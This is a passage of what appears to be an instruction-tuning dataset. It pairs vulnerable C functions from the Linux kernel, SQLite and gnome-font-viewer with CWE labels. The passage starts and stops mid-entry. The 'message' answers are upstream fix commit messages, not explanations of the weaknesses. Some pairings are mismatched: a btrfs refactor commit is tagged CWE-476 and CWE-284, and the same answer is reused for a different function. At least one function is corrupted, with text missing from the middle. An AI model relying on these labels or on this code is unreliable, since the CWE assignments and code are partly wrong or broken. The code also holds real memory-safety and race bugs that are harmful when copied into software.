MAX_EVENT_SIZE,\n\t\t\t\t\t PCI_DMA_FROMDEVICE))\n\t\t\treturn -1;\n\n\t\tbuf_pa = MWIFIEX_SKB_DMA_ADDR(skb);\n\n\t\tmwifiex_dbg(adapter, EVENT,\n\t\t\t \"info: EVT ring: skb=%p len=%d data=%p buf_pa=%#x:%x\\n\",\n\t\t\t skb, skb->len, skb->data, (u32)buf_pa,\n\t\t\t (u32)((u64)buf_pa >> 32));\n\n\t\tcard->evt_buf_list[i] = skb;\n\t\tcard->evtbd_ring[i] = (void *)(card->evtbd_ring_vbase +\n\t\t\t\t (sizeof(*desc) * i));\n\t\tdesc = card->evtbd_ring[i];\n\t\tdesc->paddr = buf_pa;\n\t\tdesc->len = (u16)skb->len;\n\t\tdesc->flags = 0;\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-200', 'CWE-401'], 'message': 'mwifiex: pcie: Fix memory leak in mwifiex_pcie_init_evt_ring\n\nIn mwifiex_pcie_init_evt_ring, a new skb is allocated which should be\nreleased if mwifiex_map_pci_memory() fails. The release for skb and\ncard->evtbd_ring_vbase is added.\n\nFixes: 0732484b47b5 (\"mwifiex: separate ring initialization and ring creation routines\")\nSigned-off-by: Navid Emamdoost \nAcked-by: Ganapathi Bhat \nSigned-off-by: Kalle Valo '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static struct btrfs_device *find_device(struct btrfs_fs_devices *fs_devices,\n\t\tu64 devid, const u8 *uuid)\n{\n\tstruct btrfs_device *dev;\n\n\tlist_for_each_entry(dev, &fs_devices->devices, dev_list) {\n\t\tif (dev->devid == devid &&\n\t\t (!uuid || !memcmp(dev->uuid, uuid, BTRFS_UUID_SIZE))) {\n\t\t\treturn dev;\n\t\t}\n\t}\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476', 'CWE-284'], 'message': 'btrfs: merge btrfs_find_device and find_device\n\nBoth btrfs_find_device() and find_device() does the same thing except\nthat the latter does not take the seed device onto account in the device\nscanning context. We can merge them.\n\nSigned-off-by: Anand Jain \nReviewed-by: David Sterba \nSigned-off-by: David Sterba '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static long btrfs_ioctl_dev_info(struct btrfs_fs_info *fs_info,\n\t\t\t\t void __user *arg)\n{\n\tstruct btrfs_ioctl_dev_info_args *di_args;\n\tstruct btrfs_device *dev;\n\tint ret = 0;\n\tchar *s_uuid = NULL;\n\n\tdi_args = memdup_user(arg, sizeof(*di_args));\n\tif (IS_ERR(di_args))\n\t\treturn PTR_ERR(di_args);\n\n\tif (!btrfs_is_empty_uuid(di_args->uuid))\n\t\ts_uuid = di_args->uuid;\n\n\trcu_read_lock();\n\tdev = btrfs_find_device(fs_info->fs_devices, di_args->devid, s_uuid,\n\t\t\t\tNULL);\n\n\tif (!dev) {\n\t\tret = -ENODEV;\n\t\tgoto out;\n\t}\n\n\tdi_args->devid = dev->devid;\n\tdi_args->bytes_used = btrfs_device_get_bytes_used(dev);\n\tdi_args->total_bytes = btrfs_device_get_total_bytes(dev);\n\tmemcpy(di_args->uuid, dev->uuid, sizeof(di_args->uuid));\n\tif (dev->name) {\n\t\tstrncpy(di_args->path, rcu_str_deref(dev->name),\n\t\t\t\tsizeof(di_args->path) - 1);\n\t\tdi_args->path[sizeof(di_args->path) - 1] = 0;\n\t} else {\n\t\tdi_args->path[0] = '\\0';\n\t}\n\nout:\n\trcu_read_unlock();\n\tif (ret == 0 && copy_to_user(arg, di_args, sizeof(*di_args)))\n\t\tret = -EFAULT;\n\n\tkfree(di_args);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476', 'CWE-284'], 'message': 'btrfs: merge btrfs_find_device and find_device\n\nBoth btrfs_find_device() and find_device() does the same thing except\nthat the latter does not take the seed device onto account in the device\nscanning context. We can merge them.\n\nSigned-off-by: Anand Jain \nReviewed-by: David Sterba \nSigned-off-by: David Sterba '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: struct resource_pool *dcn10_create_resource_pool(\n\t\tconst struct dc_init_data *init_data,\n\t\tstruct dc *dc)\n{\n\tstruct dcn10_resource_pool *pool =\n\t\tkzalloc(sizeof(struct dcn10_resource_pool), GFP_KERNEL);\n\n\tif (!pool)\n\t\treturn NULL;\n\n\tif (construct(init_data->num_virtual_links, dc, pool))\n\t\treturn &pool->base;\n\n\tBREAK_TO_DEBUGGER();\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-401'], 'message': 'drm/amd/display: prevent memory leak\n\nIn dcn*_create_resource_pool the allocated memory should be released if\nconstruct pool fails.\n\nReviewed-by: Harry Wentland \nSigned-off-by: Navid Emamdoost \nSigned-off-by: Alex Deucher '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: struct clock_source *dce100_clock_source_create(\n\tstruct dc_context *ctx,\n\tstruct dc_bios *bios,\n\tenum clock_source_id id,\n\tconst struct dce110_clk_src_regs *regs,\n\tbool dp_clk_src)\n{\n\tstruct dce110_clk_src *clk_src =\n\t\tkzalloc(sizeof(struct dce110_clk_src), GFP_KERNEL);\n\n\tif (!clk_src)\n\t\treturn NULL;\n\n\tif (dce110_clk_src_construct(clk_src, ctx, bios, id,\n\t\t\tregs, &cs_shift, &cs_mask)) {\n\t\tclk_src->base.dp_clk_src = dp_clk_src;\n\t\treturn &clk_src->base;\n\t}\n\n\tBREAK_TO_DEBUGGER();\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-703', 'CWE-401'], 'message': 'drm/amd/display: memory leak\n\nIn dcn*_clock_source_create when dcn20_clk_src_construct fails allocated\nclk_src needs release.\n\nSigned-off-by: Navid Emamdoost \nSigned-off-by: Alex Deucher '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static ssize_t sof_dfsentry_write(struct file *file, const char __user *buffer,\n\t\t\t\t size_t count, loff_t *ppos)\n{\n#if IS_ENABLED(CONFIG_SND_SOC_SOF_DEBUG_IPC_FLOOD_TEST)\n\tstruct snd_sof_dfsentry *dfse = file->private_data;\n\tstruct snd_sof_dev *sdev = dfse->sdev;\n\tunsigned long ipc_duration_ms = 0;\n\tbool flood_duration_test = false;\n\tunsigned long ipc_count = 0;\n\tstruct dentry *dentry;\n\tint err;\n#endif\n\tsize_t size;\n\tchar *string;\n\tint ret;\n\n\tstring = kzalloc(count, GFP_KERNEL);\n\tif (!string)\n\t\treturn -ENOMEM;\n\n\tsize = simple_write_to_buffer(string, count, ppos, buffer, count);\n\tret = size;\n\n#if IS_ENABLED(CONFIG_SND_SOC_SOF_DEBUG_IPC_FLOOD_TEST)\n\t/*\n\t * write op is only supported for ipc_flood_count or\n\t * ipc_flood_duration_ms debugfs entries atm.\n\t * ipc_flood_count floods the DSP with the number of IPC's specified.\n\t * ipc_duration_ms test floods the DSP for the time specified\n\t * in the debugfs entry.\n\t */\n\tdentry = file->f_path.dentry;\n\tif (strcmp(dentry->d_name.name, \"ipc_flood_count\") &&\n\t strcmp(dentry->d_name.name, \"ipc_flood_duration_ms\"))\n\t\treturn -EINVAL;\n\n\tif (!strcmp(dentry->d_name.name, \"ipc_flood_duration_ms\"))\n\t\tflood_duration_test = true;\n\n\t/* test completion criterion */\n\tif (flood_duration_test)\n\t\tret = kstrtoul(string, 0, &ipc_duration_ms);\n\telse\n\t\tret = kstrtoul(string, 0, &ipc_count);\n\tif (ret < 0)\n\t\tgoto out;\n\n\t/* limit max duration/ipc count for flood test */\n\tif (flood_duration_test) {\n\t\tif (!ipc_duration_ms) {\n\t\t\tret = size;\n\t\t\tgoto out;\n\t\t}\n\n\t\t/* find the minimum. min() is not used to avoid warnings */\n\t\tif (ipc_duration_ms > MAX_IPC_FLOOD_DURATION_MS)\n\t\t\tipc_duration_ms = MAX_IPC_FLOOD_DURATION_MS;\n\t} else {\n\t\tif (!ipc_count) {\n\t\t\tret = size;\n\t\t\tgoto out;\n\t\t}\n\n\t\t/* find the minimum. min() is not used to avoid warnings */\n\t\tif (ipc_count > MAX_IPC_FLOOD_COUNT)\n\t\t\tipc_count = MAX_IPC_FLOOD_COUNT;\n\t}\n\n\tret = pm_runtime_get_sync(sdev->dev);\n\tif (ret < 0) {\n\t\tdev_err_ratelimited(sdev->dev,\n\t\t\t\t \"error: debugfs write failed to resume %d\\n\",\n\t\t\t\t ret);\n\t\tpm_runtime_put_noidle(sdev->dev);\n\t\tgoto out;\n\t}\n\n\t/* flood test */\n\tret = sof_debug_ipc_flood_test(sdev, dfse, flood_duration_test,\n\t\t\t\t ipc_duration_ms, ipc_count);\n\n\tpm_runtime_mark_last_busy(sdev->dev);\n\terr = pm_runtime_put_autosuspend(sdev->dev);\n\tif (err < 0)\n\t\tdev_err_ratelimited(sdev->dev,\n\t\t\t\t \"error: debugfs write failed to idle %d\\n\",\n\t\t\t\t err);\n\n\t/* return size if test is successful */\n\tif (ret >= 0)\n\t\tret = size;\nout:\n#endif\n\tkfree(string);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-401'], 'message': 'ASoC: SOF: Fix memory leak in sof_dfsentry_write\n\nIn the implementation of sof_dfsentry_write() memory allocated for\nstring is leaked in case of an error. Go to error handling path if the\nd_name.name is not valid.\n\nFixes: 091c12e1f50c (\"ASoC: SOF: debug: add new debugfs entries for IPC flood test\")\nSigned-off-by: Navid Emamdoost \nLink: https://lore.kernel.org/r/20191027194856.4056-1-navid.emamdoost@gmail.com\nSigned-off-by: Mark Brown '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: create_face_from_contents (FontLoadJob *job,\n gchar **contents,\n GError **error)\n{\n FT_Error ft_error;\n FT_Face retval;\n\n ft_error = FT_New_Memory_Face (job->library,\n (const FT_Byte *) job->face_contents,\n (FT_Long) job->face_length,\n job->face_index,\n &retval);\n\n if (ft_error != 0) {\n g_autofree gchar *uri = g_file_get_uri (job->file);\n g_set_error (error, G_IO_ERROR, 0,\n \"Unable to read the font face file '%s'\", uri);\n return NULL;\n }\n\n *contents = g_steal_pointer (&job->face_contents);\n return retval;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Fallback to basename when no family name (CVE-2019-19308)\n\nInstead of possibly returning an empty string, which will cause\nissues later on.\n\nWe store the GFile that was loaded to create the FT_Face into its\ngeneric client data structure, and load the basename from it when\nwe don't have a family name.\n\nhttps://gitlab.gnome.org/GNOME/gnome-font-viewer/issues/17'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int zpff_init(struct hid_device *hid)\n{\n\tstruct zpff_device *zpff;\n\tstruct hid_report *report;\n\tstruct hid_input *hidinput = list_entry(hid->inputs.next,\n\t\t\t\t\t\tstruct hid_input, list);\n\tstruct input_dev *dev = hidinput->input;\n\tint i, error;\n\n\tfor (i = 0; i < 4; i++) {\n\t\treport = hid_validate_values(hid, HID_OUTPUT_REPORT, 0, i, 1);\n\t\tif (!report)\n\t\t\treturn -ENODEV;\n\t}\n\n\tzpff = kzalloc(sizeof(struct zpff_device), GFP_KERNEL);\n\tif (!zpff)\n\t\treturn -ENOMEM;\n\n\tset_bit(FF_RUMBLE, dev->ffbit);\n\n\terror = input_ff_create_memless(dev, zpff, zpff_play);\n\tif (error) {\n\t\tkfree(zpff);\n\t\treturn error;\n\t}\n\n\tzpff->report = report;\n\tzpff->report->field[0]->value[0] = 0x00;\n\tzpff->report->field[1]->value[0] = 0x02;\n\tzpff->report->field[2]->value[0] = 0x00;\n\tzpff->report->field[3]->value[0] = 0x00;\n\thid_hw_request(hid, zpff->report, HID_REQ_SET_REPORT);\n\n\thid_info(hid, \"force feedback for Zeroplus based devices by Anssi Hannula \\n\");\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'HID: Fix assumption that devices have inputs\n\nThe syzbot fuzzer found a slab-out-of-bounds write bug in the hid-gaff\ndriver. The problem is caused by the driver's assumption that the\ndevice must have an input report. While this will be true for all\nnormal HID input devices, a suitably malicious device can violate the\nassumption.\n\nThe same assumption is present in over a dozen other HID drivers.\nThis patch fixes them by checking that the list of hid_inputs for the\nhid_device is nonempty before allowing it to be used.\n\nReported-and-tested-by: syzbot+403741a091bf41d4ae79@syzkaller.appspotmail.com\nSigned-off-by: Alan Stern \nCC: \nSigned-off-by: Benjamin Tissoires '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int drff_init(struct hid_device *hid)\n{\n\tstruct drff_device *drff;\n\tstruct hid_report *report;\n\tstruct hid_input *hidinput = list_first_entry(&hid->inputs,\n\t\t\t\t\t\tstruct hid_input, list);\n\tstruct list_head *report_list =\n\t\t\t&hid->report_enum[HID_OUTPUT_REPORT].report_list;\n\tstruct input_dev *dev = hidinput->input;\n\tint error;\n\n\tif (list_empty(report_list)) {\n\t\thid_err(hid, \"no output reports found\\n\");\n\t\treturn -ENODEV;\n\t}\n\n\treport = list_first_entry(report_list, struct hid_report, list);\n\tif (report->maxfield < 1) {\n\t\thid_err(hid, \"no fields in the report\\n\");\n\t\treturn -ENODEV;\n\t}\n\n\tif (report->field[0]->report_count < 7) {\n\t\thid_err(hid, \"not enough values in the field\\n\");\n\t\treturn -ENODEV;\n\t}\n\n\tdrff = kzalloc(sizeof(struct drff_device), GFP_KERNEL);\n\tif (!drff)\n\t\treturn -ENOMEM;\n\n\tset_bit(FF_RUMBLE, dev->ffbit);\n\n\terror = input_ff_create_memless(dev, drff, drff_play);\n\tif (error) {\n\t\tkfree(drff);\n\t\treturn error;\n\t}\n\n\tdrff->report = report;\n\tdrff->report->field[0]->value[0] = 0xf3;\n\tdrff->report->field[0]->value[1] = 0x00;\n\tdrff->report->field[0]->value[2] = 0x00;\n\tdrff->report->field[0]->value[3] = 0x00;\n\tdrff->report->field[0]->value[4] = 0x00;\n\tdrff->report->field[0]->value[5] = 0x00;\n\tdrff->report->field[0]->value[6] = 0x00;\n\thid_hw_request(hid, drff->report, HID_REQ_SET_REPORT);\n\n\thid_info(hid, \"Force Feedback for DragonRise Inc. \"\n\t\t \"game controllers by Richard Walmsley \\n\");\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'HID: Fix assumption that devices have inputs\n\nThe syzbot fuzzer found a slab-out-of-bounds write bug in the hid-gaff\ndriver. The problem is caused by the driver's assumption that the\ndevice must have an input report. While this will be true for all\nnormal HID input devices, a suitably malicious device can violate the\nassumption.\n\nThe same assumption is present in over a dozen other HID drivers.\nThis patch fixes them by checking that the list of hid_inputs for the\nhid_device is nonempty before allowing it to be used.\n\nReported-and-tested-by: syzbot+403741a091bf41d4ae79@syzkaller.appspotmail.com\nSigned-off-by: Alan Stern \nCC: \nSigned-off-by: Benjamin Tissoires '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int fts3DoAutoincrmerge(\n Fts3Table *p, /* FTS3 table handle */\n const char *zParam /* Nul-terminated string containing boolean */\n){\n int rc = SQLITE_OK;\n sqlite3_stmt *pStmt = 0;\n p->nAutoincrmerge = fts3Getint(&zParam);\n if( p->nAutoincrmerge==1 || p->nAutoincrmerge>FTS3_MERGE_COUNT ){\n p->nAutoincrmerge = 8;\n }\n if( !p->bHasStat ){\n assert( p->bFts4==0 );\n sqlite3Fts3CreateStatTable(&rc, p);\n if( rc ) return rc;\n }\n rc = fts3SqlStmt(p, SQL_REPLACE_STAT, &pStmt, 0);\n if( rc ) return rc;\n sqlite3_bind_int(pStmt, 1, FTS_STAT_AUTOINCRMERGE);\n sqlite3_bind_int(pStmt, 2, p->nAutoincrmerge);\n sqlite3_step(pStmt);\n rc = sqlite3_reset(pStmt);\n return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'More improvements to shadow table corruption detection in FTS3.\n\nFossilOrigin-Name: 51525f9c3235967bc00a090e84c70a6400698c897aa4742e817121c725b8c99d'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int fts3SegWriterAdd(\n Fts3Table *p, /* Virtual table handle */\n SegmentWriter **ppWriter, /* IN/OUT: SegmentWriter handle */ \n int isCopyTerm, /* True if buffer zTerm must be copied */\n const char *zTerm, /* Pointer to buffer containing term */\n int nTerm, /* Size of term in bytes */\n const char *aDoclist, /* Pointer to buffer containing doclist */\n int nDoclist /* Size of doclist in bytes */\n){\n int nPrefix; /* Size of term prefix in bytes */\n int nSuffix; /* Size of term suffix in bytes */\n int nReq; /* Number of bytes required on leaf page */\n int nData;\n SegmentWriter *pWriter = *ppWriter;\n\n if( !pWriter ){\n int rc;\n sqlite3_stmt *pStmt;\n\n /* Allocate the SegmentWriter structure */\n pWriter = (SegmentWriter *)sqlite3_malloc(sizeof(SegmentWriter));\n if( !pWriter ) return SQLITE_NOMEM;\n memset(pWriter, 0, sizeof(SegmentWriter));\n *ppWriter = pWriter;\n\n /* Allocate a buffer in which to accumulate data */\n pWriter->aData = (char *)sqlite3_malloc(p->nNodeSize);\n if( !pWriter->aData ) return SQLITE_NOMEM;\n pWriter->nSize = p->nNodeSize;\n\n /* Find the next free blockid in the %_segments table */\n rc = fts3SqlStmt(p, SQL_NEXT_SEGMENTS_ID, &pStmt, 0);\n if( rc!=SQLITE_OK ) return rc;\n if( SQLITE_ROW==sqlite3_step(pStmt) ){\n pWriter->iFree = sqlite3_column_int64(pStmt, 0);\n pWriter->iFirst = pWriter->iFree;\n }\n rc = sqlite3_reset(pStmt);\n if( rc!=SQLITE_OK ) return rc;\n }\n nData = pWriter->nData;\n\n nPrefix = fts3PrefixCompress(pWriter->zTerm, pWriter->nTerm, zTerm, nTerm);\n nSuffix = nTerm-nPrefix;\n\n /* If nSuffix is zero or less, then zTerm/nTerm must be a prefix of \n ** pWriter->zTerm/pWriter->nTerm. i.e. must be equal to or less than when\n ** compared with BINARY collation. This indicates corruption. */\n if( nSuffix<=0 ) return FTS_CORRUPT_VTAB;\n\n /* Figure out how many bytes are required by this new entry */\n nReq = sqlite3Fts3VarintLen(nPrefix) + /* varint containing prefix size */\n sqlite3Fts3VarintLen(nSuffix) + /* varint containing suffix size */\n nSuffix + /* Term suffix */\n sqlite3Fts3VarintLen(nDoclist) + /* Size of doclist */\n nDoclist; /* Doclist data */\n\n if( nData>0 && nData+nReq>p->nNodeSize ){\n int rc;\n\n /* The current leaf node is full. Write it out to the database. */\n rc = fts3WriteSegment(p, pWriter->iFree++, pWriter->aData, nData);\n if( rc!=SQLITE_OK ) return rc;\n p->nLeafAdd++;\n\n /* Add the current term to the interior node tree. The term added to\n ** the interior tree must:\n **\n ** a) be greater than the largest term on the leaf node just written\n ** to the database (still available in pWriter->zTerm), and\n **\n ** b) be less than or equal to the term about to be added to the new\n ** leaf node (zTerm/nTerm).\n **\n ** In other words, it must be the prefix of zTerm 1 byte longer than\n ** the common prefix (if any) of zTerm and pWriter->zTerm.\n */\n assert( nPrefixpTree, isCopyTerm, zTerm, nPrefix+1);\n if( rc!=SQLITE_OK ) return rc;\n\n nData = 0;\n pWriter->nTerm = 0;\n\n nPrefix = 0;\n nSuffix = nTerm;\n nReq = 1 + /* varint containing prefix size */\n sqlite3Fts3VarintLen(nTerm) + /* varint containing suffix size */\n nTerm + /* Term suffix */\n sqlite3Fts3VarintLen(nDoclist) + /* Size of doclist */\n nDoclist; /* Doclist data */\n }\n\n /* Increase the total number of bytes written to account for the new entry. */\n pWriter->nLeafData += nReq;\n\n /* If the buffer currently allocated is too small for this entry, realloc\n ** the buffer to make it large enough.\n */\n if( nReq>pWriter->nSize ){\n char *aNew = sqlite3_realloc(pWriter->aData, nReq);\n if( !aNew ) return SQLITE_NOMEM;\n pWriter->aData = aNew;\n pWriter->nSize = nReq;\n }\n assert( nData+nReq<=pWriter->nSize );\n\n /* Append the prefix-compressed term and doclist to the buffer. */\n nData += sqlite3Fts3PutVarint(&pWriter->aData[nData], nPrefix);\n nData += sqlite3Fts3PutVarint(&pWriter->aData[nData], nSuffix);\n memcpy(&pWriter->aData[nData], &zTerm[nPrefix], nSuffix);\n nData += nSuffix;\n nData += sqlite3Fts3PutVarint(&pWriter->aData[nData], nDoclist);\n memcpy(&pWriter->aData[nData], aDoclist, nDoclist);\n pWriter->nData = nData + nDoclist;\n\n /* Save the current term so that it can be used to prefix-compress the next.\n ** If the isCopyTerm parameter is true, then the buffer pointed to by\n ** zTerm is transient, so take a copy of the term data. Otherwise, just\n ** store a copy of the pointer.\n */\n if( isCopyTerm ){\n if( nTerm>pWriter->nMalloc ){\n char *zNew = sqlite3_realloc(pWriter->zMalloc, nTerm*2);\n if( !zNew ){\n return SQLITE_NOMEM;\n }\n pWriter->nMalloc = nTerm*2;\n pWriter->zMalloc = zNew;\n pWriter->zTerm = zNew;\n }\n assert( pWriter->zTerm==pWriter->zMalloc );\n memcpy(pWriter->zTerm, zTerm, nTerm);\n }else{\n pWriter->zTerm = (char *)zTerm;\n }\n pWriter->nTerm = nTerm;\n\n return SQLITE_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Improved detection of corrupt shadow tables in FTS3. Enable the debugging\nspecial-inserts for FTS3 for both SQLITE_DEBUG and SQLITE_TEST.\n\nFossilOrigin-Name: 04b2873be5aedeb1c4325cf36c4b5d180f929a641caf1e3829c03778adb29c8e'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int renameTableSelectCb(Walker *pWalker, Select *pSelect){\n int i;\n RenameCtx *p = pWalker->u.pRename;\n SrcList *pSrc = pSelect->pSrc;\n if( pSrc==0 ){\n assert( pWalker->pParse->db->mallocFailed );\n return WRC_Abort;\n }\n for(i=0; inSrc; i++){\n struct SrcList_item *pItem = &pSrc->a[i];\n if( pItem->pTab==p->pTab ){\n renameTokenFind(pWalker->pParse, p, pItem->zName);\n }\n }\n renameWalkWith(pWalker, pSelect);\n\n return WRC_Continue;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-674', 'CWE-787'], 'message': 'Avoid infinite recursion in the ALTER TABLE code when a view contains an unused CTE that references, directly or indirectly, the view itself.\n\nFossilOrigin-Name: 1d2e53a39b87e364685e21de137655b6eee725e4c6d27fc90865072d7c5892b5'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void iowarrior_disconnect(struct usb_interface *interface)\n{\n\tstruct iowarrior *dev;\n\tint minor;\n\n\tdev = usb_get_intfdata(interface);\n\tmutex_lock(&iowarrior_open_disc_lock);\n\tusb_set_intfdata(interface, NULL);\n\t/* prevent device read, write and ioctl */\n\tdev->present = 0;\n\n\tminor = dev->minor;\n\tmutex_unlock(&iowarrior_open_disc_lock);\n\t/* give back our minor - this will call close() locks need to be dropped at this point*/\n\n\tusb_deregister_dev(interface, &iowarrior_class);\n\n\tmutex_lock(&dev->mutex);\n\n\t/* prevent device read, write and ioctl */\n\n\tmutex_unlock(&dev->mutex);\n\n\tif (dev->opened) {\n\t\t/* There is a process that holds a filedescriptor to the device ,\n\t\t so we only shutdown read-/write-ops going on.\n\t\t Deleting the device is postponed until close() was called.\n\t\t */\n\t\tusb_kill_urb(dev->int_in_urb);\n\t\twake_up_interruptible(&dev->read_wait);\n\t\twake_up_interruptible(&dev->write_wait);\n\t} else {\n\t\t/* no process is using the device, cleanup now */\n\t\tiowarrior_delete(dev);\n\t}\n\n\tdev_info(&interface->dev, \"I/O-Warror #%d now disconnected\\n\",\n\t\t minor - IOWARRIOR_MINOR_BASE);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'USB: iowarrior: fix use-after-free on disconnect\n\nA recent fix addressing a deadlock on disconnect introduced a new bug\nby moving the present flag out of the critical section protected by the\ndriver-data mutex. This could lead to a racing release() freeing the\ndriver data before disconnect() is done with it.\n\nDue to insufficient locking a related use-after-free could be triggered\nalso before the above mentioned commit. Specifically, the driver needs\nto hold the driver-data mutex also while checking the opened flag at\ndisconnect().\n\nFixes: c468a8aa790e (\"usb: iowarrior: fix deadlock on disconnect\")\nFixes: 946b960d13c1 (\"USB: add driver for iowarrior devices.\")\nCc: stable \t# 2.6.21\nReported-by: syzbot+0761012cebf7bdb38137@syzkaller.appspotmail.com\nSigned-off-by: Johan Hovold \nLink: https://lore.kernel.org/r/20191009104846.5925-2-johan@kernel.org\nSigned-off-by: Greg Kroah-Hartman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int usb_register_dev(struct usb_interface *intf,\n\t\t struct usb_class_driver *class_driver)\n{\n\tint retval;\n\tint minor_base = class_driver->minor_base;\n\tint minor;\n\tchar name[20];\n\n#ifdef CONFIG_USB_DYNAMIC_MINORS\n\t/*\n\t * We don't care what the device tries to start at, we want to start\n\t * at zero to pack the devices into the smallest available space with\n\t * no holes in the minor range.\n\t */\n\tminor_base = 0;\n#endif\n\n\tif (class_driver->fops == NULL)\n\t\treturn -EINVAL;\n\tif (intf->minor >= 0)\n\t\treturn -EADDRINUSE;\n\n\tmutex_lock(&init_usb_class_mutex);\n\tretval = init_usb_class();\n\tmutex_unlock(&init_usb_class_mutex);\n\n\tif (retval)\n\t\treturn retval;\n\n\tdev_dbg(&intf->dev, \"looking for a minor, starting at %d\\n\", minor_base);\n\n\tdown_write(&minor_rwsem);\n\tfor (minor = minor_base; minor < MAX_USB_MINORS; ++minor) {\n\t\tif (usb_minors[minor])\n\t\t\tcontinue;\n\n\t\tusb_minors[minor] = class_driver->fops;\n\t\tintf->minor = minor;\n\t\tbreak;\n\t}\n\tup_write(&minor_rwsem);\n\tif (intf->minor < 0)\n\t\treturn -EXFULL;\n\n\t/* create a usb class device for this usb interface */\n\tsnprintf(name, sizeof(name), class_driver->name, minor - minor_base);\n\tintf->usb_dev = device_create(usb_class->class, &intf->dev,\n\t\t\t\t MKDEV(USB_MAJOR, minor), class_driver,\n\t\t\t\t \"%s\", kbasename(name));\n\tif (IS_ERR(intf->usb_dev)) {\n\t\tdown_write(&minor_rwsem);\n\t\tusb_minors[minor] = NULL;\n\t\tintf->minor = -1;\n\t\tup_write(&minor_rwsem);\n\t\tretval = PTR_ERR(intf->usb_dev);\n\t}\n\treturn retval;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'USB: core: Fix races in character device registration and deregistraion\n\nThe syzbot fuzzer has found two (!) races in the USB character device\nregistration and deregistration routines. This patch fixes the races.\n\nThe first race results from the fact that usb_deregister_dev() sets\nusb_minors[intf->minor] to NULL before calling device_destroy() on the\nclass device. This leaves a window during which another thread can\nallocate the same minor number but will encounter a duplicate name\nerror when it tries to register its own class device. A typical error\nmessage in the system log would look like:\n\n sysfs: cannot create duplicate filename '/class/usbmisc/ldusb0'\n\nThe patch fixes this race by destroying the class device first.\n\nThe second race is in usb_register_dev(). When that routine runs, it\nfirst allocates a minor number, then drops minor_rwsem, and then\ncreates the class device. If the device creation fails, the minor\nnumber is deallocated and the whole routine returns an error. But\nduring the time while minor_rwsem was dropped, there is a window in\nwhich the minor number is allocated and so another thread can\nsuccessfully open the device file. Typically this results in\nuse-after-free errors or invalid accesses when the other thread closes\nits open file reference, because the kernel then tries to 